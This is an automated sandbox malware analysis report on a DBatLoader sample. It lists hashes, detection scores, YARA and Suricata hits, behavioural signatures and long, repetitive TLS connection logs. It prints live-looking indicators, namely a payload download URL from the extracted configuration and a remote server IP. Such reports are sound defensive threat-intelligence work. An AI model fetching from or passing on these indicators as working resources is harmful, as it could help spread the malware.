Edit tour

Windows Analysis Report
8e8JUOzOjR.exe

Overview

General Information

Sample name:	8e8JUOzOjR.exe renamed because original name is a hash value
Original sample name:	421e68364bf99e35f1af18e71327e994.exe
Analysis ID:	1590520
MD5:	421e68364bf99e35f1af18e71327e994
SHA1:	d52a25f280c7ef41551c892c9a0ec4930d204afd
SHA256:	52f70aceaac84fb1b61e78e36a3f8642875ce6528819060470242fb5312d16e5
Tags:	exeuser-abuse_ch
Infos:

Detection

DBatLoader

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected DBatLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

8e8JUOzOjR.exe (PID: 1876 cmdline: "C:\Users\user\Desktop\8e8JUOzOjR.exe" MD5: 421E68364BF99E35F1AF18E71327E994)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://fodoknotel.za.com/245_Aiymwhpjxsg"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3293909021.0000000002336000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.3308900911.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.2.8e8JUOzOjR.exe.23365a8.1.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.8e8JUOzOjR.exe.2830000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.8e8JUOzOjR.exe.23365a8.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:24:58.491958+0100	2028371	3	Unknown Traffic	192.168.2.5	49713	23.237.26.135	443	TCP
2025-01-14T08:24:59.409580+0100	2028371	3	Unknown Traffic	192.168.2.5	49715	23.237.26.135	443	TCP
2025-01-14T08:25:00.276264+0100	2028371	3	Unknown Traffic	192.168.2.5	49717	23.237.26.135	443	TCP
2025-01-14T08:25:01.194304+0100	2028371	3	Unknown Traffic	192.168.2.5	49719	23.237.26.135	443	TCP
2025-01-14T08:25:02.452652+0100	2028371	3	Unknown Traffic	192.168.2.5	49721	23.237.26.135	443	TCP
2025-01-14T08:25:03.329142+0100	2028371	3	Unknown Traffic	192.168.2.5	49723	23.237.26.135	443	TCP
2025-01-14T08:25:04.201770+0100	2028371	3	Unknown Traffic	192.168.2.5	49725	23.237.26.135	443	TCP
2025-01-14T08:25:05.177631+0100	2028371	3	Unknown Traffic	192.168.2.5	49727	23.237.26.135	443	TCP
2025-01-14T08:25:06.057819+0100	2028371	3	Unknown Traffic	192.168.2.5	49729	23.237.26.135	443	TCP
2025-01-14T08:25:06.949166+0100	2028371	3	Unknown Traffic	192.168.2.5	49731	23.237.26.135	443	TCP
2025-01-14T08:25:07.800126+0100	2028371	3	Unknown Traffic	192.168.2.5	49733	23.237.26.135	443	TCP
2025-01-14T08:25:08.648418+0100	2028371	3	Unknown Traffic	192.168.2.5	49735	23.237.26.135	443	TCP
2025-01-14T08:25:09.494214+0100	2028371	3	Unknown Traffic	192.168.2.5	49737	23.237.26.135	443	TCP
2025-01-14T08:25:10.364645+0100	2028371	3	Unknown Traffic	192.168.2.5	49739	23.237.26.135	443	TCP
2025-01-14T08:25:11.240802+0100	2028371	3	Unknown Traffic	192.168.2.5	49741	23.237.26.135	443	TCP
2025-01-14T08:25:12.082680+0100	2028371	3	Unknown Traffic	192.168.2.5	49743	23.237.26.135	443	TCP
2025-01-14T08:25:13.028927+0100	2028371	3	Unknown Traffic	192.168.2.5	49745	23.237.26.135	443	TCP
2025-01-14T08:25:13.881154+0100	2028371	3	Unknown Traffic	192.168.2.5	49747	23.237.26.135	443	TCP
2025-01-14T08:25:14.725539+0100	2028371	3	Unknown Traffic	192.168.2.5	49750	23.237.26.135	443	TCP
2025-01-14T08:25:15.634473+0100	2028371	3	Unknown Traffic	192.168.2.5	49752	23.237.26.135	443	TCP
2025-01-14T08:25:16.470788+0100	2028371	3	Unknown Traffic	192.168.2.5	49755	23.237.26.135	443	TCP
2025-01-14T08:25:17.427980+0100	2028371	3	Unknown Traffic	192.168.2.5	49762	23.237.26.135	443	TCP
2025-01-14T08:25:18.267717+0100	2028371	3	Unknown Traffic	192.168.2.5	49769	23.237.26.135	443	TCP
2025-01-14T08:25:19.104653+0100	2028371	3	Unknown Traffic	192.168.2.5	49776	23.237.26.135	443	TCP
2025-01-14T08:25:19.939205+0100	2028371	3	Unknown Traffic	192.168.2.5	49782	23.237.26.135	443	TCP
2025-01-14T08:25:20.786524+0100	2028371	3	Unknown Traffic	192.168.2.5	49791	23.237.26.135	443	TCP
2025-01-14T08:25:21.645410+0100	2028371	3	Unknown Traffic	192.168.2.5	49798	23.237.26.135	443	TCP
2025-01-14T08:25:22.520754+0100	2028371	3	Unknown Traffic	192.168.2.5	49804	23.237.26.135	443	TCP
2025-01-14T08:25:23.457162+0100	2028371	3	Unknown Traffic	192.168.2.5	49810	23.237.26.135	443	TCP
2025-01-14T08:25:24.326038+0100	2028371	3	Unknown Traffic	192.168.2.5	49817	23.237.26.135	443	TCP
2025-01-14T08:25:25.199019+0100	2028371	3	Unknown Traffic	192.168.2.5	49825	23.237.26.135	443	TCP
2025-01-14T08:25:26.142609+0100	2028371	3	Unknown Traffic	192.168.2.5	49834	23.237.26.135	443	TCP
2025-01-14T08:25:27.016304+0100	2028371	3	Unknown Traffic	192.168.2.5	49842	23.237.26.135	443	TCP
2025-01-14T08:25:27.871870+0100	2028371	3	Unknown Traffic	192.168.2.5	49849	23.237.26.135	443	TCP
2025-01-14T08:25:28.926656+0100	2028371	3	Unknown Traffic	192.168.2.5	49855	23.237.26.135	443	TCP
2025-01-14T08:25:29.785642+0100	2028371	3	Unknown Traffic	192.168.2.5	49862	23.237.26.135	443	TCP
2025-01-14T08:25:30.639343+0100	2028371	3	Unknown Traffic	192.168.2.5	49870	23.237.26.135	443	TCP
2025-01-14T08:25:31.737146+0100	2028371	3	Unknown Traffic	192.168.2.5	49877	23.237.26.135	443	TCP
2025-01-14T08:25:32.563318+0100	2028371	3	Unknown Traffic	192.168.2.5	49884	23.237.26.135	443	TCP
2025-01-14T08:25:33.425560+0100	2028371	3	Unknown Traffic	192.168.2.5	49891	23.237.26.135	443	TCP
2025-01-14T08:25:34.277573+0100	2028371	3	Unknown Traffic	192.168.2.5	49898	23.237.26.135	443	TCP
2025-01-14T08:25:35.115910+0100	2028371	3	Unknown Traffic	192.168.2.5	49907	23.237.26.135	443	TCP
2025-01-14T08:25:35.950447+0100	2028371	3	Unknown Traffic	192.168.2.5	49915	23.237.26.135	443	TCP
2025-01-14T08:25:36.773140+0100	2028371	3	Unknown Traffic	192.168.2.5	49924	23.237.26.135	443	TCP
2025-01-14T08:25:37.596470+0100	2028371	3	Unknown Traffic	192.168.2.5	49931	23.237.26.135	443	TCP
2025-01-14T08:25:38.473212+0100	2028371	3	Unknown Traffic	192.168.2.5	49938	23.237.26.135	443	TCP
2025-01-14T08:25:39.364755+0100	2028371	3	Unknown Traffic	192.168.2.5	49945	23.237.26.135	443	TCP
2025-01-14T08:25:40.197161+0100	2028371	3	Unknown Traffic	192.168.2.5	49952	23.237.26.135	443	TCP
2025-01-14T08:25:41.062252+0100	2028371	3	Unknown Traffic	192.168.2.5	49960	23.237.26.135	443	TCP
2025-01-14T08:25:41.961310+0100	2028371	3	Unknown Traffic	192.168.2.5	49967	23.237.26.135	443	TCP
2025-01-14T08:25:42.802102+0100	2028371	3	Unknown Traffic	192.168.2.5	49976	23.237.26.135	443	TCP
2025-01-14T08:25:43.628047+0100	2028371	3	Unknown Traffic	192.168.2.5	49985	23.237.26.135	443	TCP
2025-01-14T08:25:44.504357+0100	2028371	3	Unknown Traffic	192.168.2.5	49992	23.237.26.135	443	TCP
2025-01-14T08:25:45.349986+0100	2028371	3	Unknown Traffic	192.168.2.5	49999	23.237.26.135	443	TCP
2025-01-14T08:25:46.227450+0100	2028371	3	Unknown Traffic	192.168.2.5	50006	23.237.26.135	443	TCP
2025-01-14T08:25:47.122158+0100	2028371	3	Unknown Traffic	192.168.2.5	50013	23.237.26.135	443	TCP
2025-01-14T08:25:47.980034+0100	2028371	3	Unknown Traffic	192.168.2.5	50021	23.237.26.135	443	TCP
2025-01-14T08:25:48.804639+0100	2028371	3	Unknown Traffic	192.168.2.5	50028	23.237.26.135	443	TCP
2025-01-14T08:25:49.830203+0100	2028371	3	Unknown Traffic	192.168.2.5	50035	23.237.26.135	443	TCP
2025-01-14T08:25:50.681899+0100	2028371	3	Unknown Traffic	192.168.2.5	50042	23.237.26.135	443	TCP
2025-01-14T08:25:51.578764+0100	2028371	3	Unknown Traffic	192.168.2.5	50052	23.237.26.135	443	TCP
2025-01-14T08:25:52.426808+0100	2028371	3	Unknown Traffic	192.168.2.5	50060	23.237.26.135	443	TCP
2025-01-14T08:25:53.392959+0100	2028371	3	Unknown Traffic	192.168.2.5	50068	23.237.26.135	443	TCP
2025-01-14T08:25:54.253235+0100	2028371	3	Unknown Traffic	192.168.2.5	50075	23.237.26.135	443	TCP
2025-01-14T08:25:55.075416+0100	2028371	3	Unknown Traffic	192.168.2.5	50082	23.237.26.135	443	TCP
2025-01-14T08:25:55.998813+0100	2028371	3	Unknown Traffic	192.168.2.5	50089	23.237.26.135	443	TCP
2025-01-14T08:25:56.862166+0100	2028371	3	Unknown Traffic	192.168.2.5	50096	23.237.26.135	443	TCP
2025-01-14T08:25:57.683372+0100	2028371	3	Unknown Traffic	192.168.2.5	50103	23.237.26.135	443	TCP
2025-01-14T08:25:58.502027+0100	2028371	3	Unknown Traffic	192.168.2.5	50110	23.237.26.135	443	TCP
2025-01-14T08:25:59.384352+0100	2028371	3	Unknown Traffic	192.168.2.5	50118	23.237.26.135	443	TCP
2025-01-14T08:26:00.242925+0100	2028371	3	Unknown Traffic	192.168.2.5	50120	23.237.26.135	443	TCP
2025-01-14T08:26:01.236134+0100	2028371	3	Unknown Traffic	192.168.2.5	50122	23.237.26.135	443	TCP
2025-01-14T08:26:02.089568+0100	2028371	3	Unknown Traffic	192.168.2.5	50124	23.237.26.135	443	TCP
2025-01-14T08:26:02.915081+0100	2028371	3	Unknown Traffic	192.168.2.5	50126	23.237.26.135	443	TCP
2025-01-14T08:26:03.937509+0100	2028371	3	Unknown Traffic	192.168.2.5	50128	23.237.26.135	443	TCP
2025-01-14T08:26:04.764248+0100	2028371	3	Unknown Traffic	192.168.2.5	50130	23.237.26.135	443	TCP
2025-01-14T08:26:05.612325+0100	2028371	3	Unknown Traffic	192.168.2.5	50132	23.237.26.135	443	TCP
2025-01-14T08:26:06.484263+0100	2028371	3	Unknown Traffic	192.168.2.5	50134	23.237.26.135	443	TCP
2025-01-14T08:26:07.396304+0100	2028371	3	Unknown Traffic	192.168.2.5	50136	23.237.26.135	443	TCP
2025-01-14T08:26:08.222572+0100	2028371	3	Unknown Traffic	192.168.2.5	50138	23.237.26.135	443	TCP
2025-01-14T08:26:09.058696+0100	2028371	3	Unknown Traffic	192.168.2.5	50140	23.237.26.135	443	TCP
2025-01-14T08:26:09.887775+0100	2028371	3	Unknown Traffic	192.168.2.5	50142	23.237.26.135	443	TCP
2025-01-14T08:26:10.743889+0100	2028371	3	Unknown Traffic	192.168.2.5	50144	23.237.26.135	443	TCP
2025-01-14T08:26:11.573474+0100	2028371	3	Unknown Traffic	192.168.2.5	50146	23.237.26.135	443	TCP
2025-01-14T08:26:12.418745+0100	2028371	3	Unknown Traffic	192.168.2.5	50148	23.237.26.135	443	TCP
2025-01-14T08:26:13.274447+0100	2028371	3	Unknown Traffic	192.168.2.5	50150	23.237.26.135	443	TCP
2025-01-14T08:26:14.121513+0100	2028371	3	Unknown Traffic	192.168.2.5	50152	23.237.26.135	443	TCP
2025-01-14T08:26:14.951345+0100	2028371	3	Unknown Traffic	192.168.2.5	50154	23.237.26.135	443	TCP
2025-01-14T08:26:15.784989+0100	2028371	3	Unknown Traffic	192.168.2.5	50156	23.237.26.135	443	TCP
2025-01-14T08:26:16.607167+0100	2028371	3	Unknown Traffic	192.168.2.5	50158	23.237.26.135	443	TCP
2025-01-14T08:26:17.449118+0100	2028371	3	Unknown Traffic	192.168.2.5	50160	23.237.26.135	443	TCP
2025-01-14T08:26:18.295289+0100	2028371	3	Unknown Traffic	192.168.2.5	50162	23.237.26.135	443	TCP
2025-01-14T08:26:19.142780+0100	2028371	3	Unknown Traffic	192.168.2.5	50164	23.237.26.135	443	TCP
2025-01-14T08:26:19.986402+0100	2028371	3	Unknown Traffic	192.168.2.5	50166	23.237.26.135	443	TCP
2025-01-14T08:26:20.837203+0100	2028371	3	Unknown Traffic	192.168.2.5	50168	23.237.26.135	443	TCP
2025-01-14T08:26:21.673932+0100	2028371	3	Unknown Traffic	192.168.2.5	50170	23.237.26.135	443	TCP
2025-01-14T08:26:22.771786+0100	2028371	3	Unknown Traffic	192.168.2.5	50172	23.237.26.135	443	TCP
2025-01-14T08:26:23.610990+0100	2028371	3	Unknown Traffic	192.168.2.5	50174	23.237.26.135	443	TCP
2025-01-14T08:26:24.446081+0100	2028371	3	Unknown Traffic	192.168.2.5	50176	23.237.26.135	443	TCP
2025-01-14T08:26:25.679498+0100	2028371	3	Unknown Traffic	192.168.2.5	50178	23.237.26.135	443	TCP
2025-01-14T08:26:26.518473+0100	2028371	3	Unknown Traffic	192.168.2.5	50180	23.237.26.135	443	TCP
2025-01-14T08:26:27.367734+0100	2028371	3	Unknown Traffic	192.168.2.5	50182	23.237.26.135	443	TCP
2025-01-14T08:26:28.202406+0100	2028371	3	Unknown Traffic	192.168.2.5	50184	23.237.26.135	443	TCP
2025-01-14T08:26:29.152764+0100	2028371	3	Unknown Traffic	192.168.2.5	50186	23.237.26.135	443	TCP
2025-01-14T08:26:29.997834+0100	2028371	3	Unknown Traffic	192.168.2.5	50188	23.237.26.135	443	TCP
2025-01-14T08:26:30.865691+0100	2028371	3	Unknown Traffic	192.168.2.5	50190	23.237.26.135	443	TCP
2025-01-14T08:26:32.090801+0100	2028371	3	Unknown Traffic	192.168.2.5	50192	23.237.26.135	443	TCP
2025-01-14T08:26:32.906877+0100	2028371	3	Unknown Traffic	192.168.2.5	50194	23.237.26.135	443	TCP
2025-01-14T08:26:33.757723+0100	2028371	3	Unknown Traffic	192.168.2.5	50196	23.237.26.135	443	TCP
2025-01-14T08:26:34.606927+0100	2028371	3	Unknown Traffic	192.168.2.5	50198	23.237.26.135	443	TCP
2025-01-14T08:26:35.601975+0100	2028371	3	Unknown Traffic	192.168.2.5	50200	23.237.26.135	443	TCP
2025-01-14T08:26:36.449531+0100	2028371	3	Unknown Traffic	192.168.2.5	50202	23.237.26.135	443	TCP
2025-01-14T08:26:37.322175+0100	2028371	3	Unknown Traffic	192.168.2.5	50204	23.237.26.135	443	TCP
2025-01-14T08:26:38.252434+0100	2028371	3	Unknown Traffic	192.168.2.5	50206	23.237.26.135	443	TCP
2025-01-14T08:26:39.075259+0100	2028371	3	Unknown Traffic	192.168.2.5	50208	23.237.26.135	443	TCP
2025-01-14T08:26:39.938542+0100	2028371	3	Unknown Traffic	192.168.2.5	50210	23.237.26.135	443	TCP
2025-01-14T08:26:40.768604+0100	2028371	3	Unknown Traffic	192.168.2.5	50212	23.237.26.135	443	TCP
2025-01-14T08:26:41.626806+0100	2028371	3	Unknown Traffic	192.168.2.5	50214	23.237.26.135	443	TCP
2025-01-14T08:26:42.495456+0100	2028371	3	Unknown Traffic	192.168.2.5	50216	23.237.26.135	443	TCP
2025-01-14T08:26:43.346954+0100	2028371	3	Unknown Traffic	192.168.2.5	50218	23.237.26.135	443	TCP
2025-01-14T08:26:44.526119+0100	2028371	3	Unknown Traffic	192.168.2.5	50220	23.237.26.135	443	TCP
2025-01-14T08:26:45.342533+0100	2028371	3	Unknown Traffic	192.168.2.5	50222	23.237.26.135	443	TCP
2025-01-14T08:26:46.158158+0100	2028371	3	Unknown Traffic	192.168.2.5	50224	23.237.26.135	443	TCP
2025-01-14T08:26:47.212167+0100	2028371	3	Unknown Traffic	192.168.2.5	50226	23.237.26.135	443	TCP
2025-01-14T08:26:48.036830+0100	2028371	3	Unknown Traffic	192.168.2.5	50228	23.237.26.135	443	TCP
2025-01-14T08:26:48.876997+0100	2028371	3	Unknown Traffic	192.168.2.5	50230	23.237.26.135	443	TCP
2025-01-14T08:26:49.734736+0100	2028371	3	Unknown Traffic	192.168.2.5	50232	23.237.26.135	443	TCP
2025-01-14T08:26:50.647571+0100	2028371	3	Unknown Traffic	192.168.2.5	50234	23.237.26.135	443	TCP
2025-01-14T08:26:51.583395+0100	2028371	3	Unknown Traffic	192.168.2.5	50236	23.237.26.135	443	TCP
2025-01-14T08:26:52.426314+0100	2028371	3	Unknown Traffic	192.168.2.5	50238	23.237.26.135	443	TCP
2025-01-14T08:26:53.396160+0100	2028371	3	Unknown Traffic	192.168.2.5	50240	23.237.26.135	443	TCP
2025-01-14T08:26:54.234360+0100	2028371	3	Unknown Traffic	192.168.2.5	50242	23.237.26.135	443	TCP
2025-01-14T08:26:55.106020+0100	2028371	3	Unknown Traffic	192.168.2.5	50244	23.237.26.135	443	TCP
2025-01-14T08:26:55.976103+0100	2028371	3	Unknown Traffic	192.168.2.5	50246	23.237.26.135	443	TCP
2025-01-14T08:26:56.803324+0100	2028371	3	Unknown Traffic	192.168.2.5	50248	23.237.26.135	443	TCP
2025-01-14T08:26:57.657244+0100	2028371	3	Unknown Traffic	192.168.2.5	50250	23.237.26.135	443	TCP
2025-01-14T08:26:58.545637+0100	2028371	3	Unknown Traffic	192.168.2.5	50252	23.237.26.135	443	TCP
2025-01-14T08:26:59.373484+0100	2028371	3	Unknown Traffic	192.168.2.5	50254	23.237.26.135	443	TCP
2025-01-14T08:27:00.198096+0100	2028371	3	Unknown Traffic	192.168.2.5	50256	23.237.26.135	443	TCP
2025-01-14T08:27:01.020386+0100	2028371	3	Unknown Traffic	192.168.2.5	50258	23.237.26.135	443	TCP
2025-01-14T08:27:01.889183+0100	2028371	3	Unknown Traffic	192.168.2.5	50260	23.237.26.135	443	TCP
2025-01-14T08:27:02.710738+0100	2028371	3	Unknown Traffic	192.168.2.5	50262	23.237.26.135	443	TCP
2025-01-14T08:27:03.534372+0100	2028371	3	Unknown Traffic	192.168.2.5	50264	23.237.26.135	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 8e8JUOzOjR.exe

Malware Configuration Extractor: DBatLoader {"Download Url": ["https://fodoknotel.za.com/245_Aiymwhpjxsg"]}

Multi AV Scanner detection for submitted file

Source: 8e8JUOzOjR.exe	Virustotal: Detection: 52%			Perma Link
Source: 8e8JUOzOjR.exe	ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: 8e8JUOzOjR.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50148 version: TLS 1.2
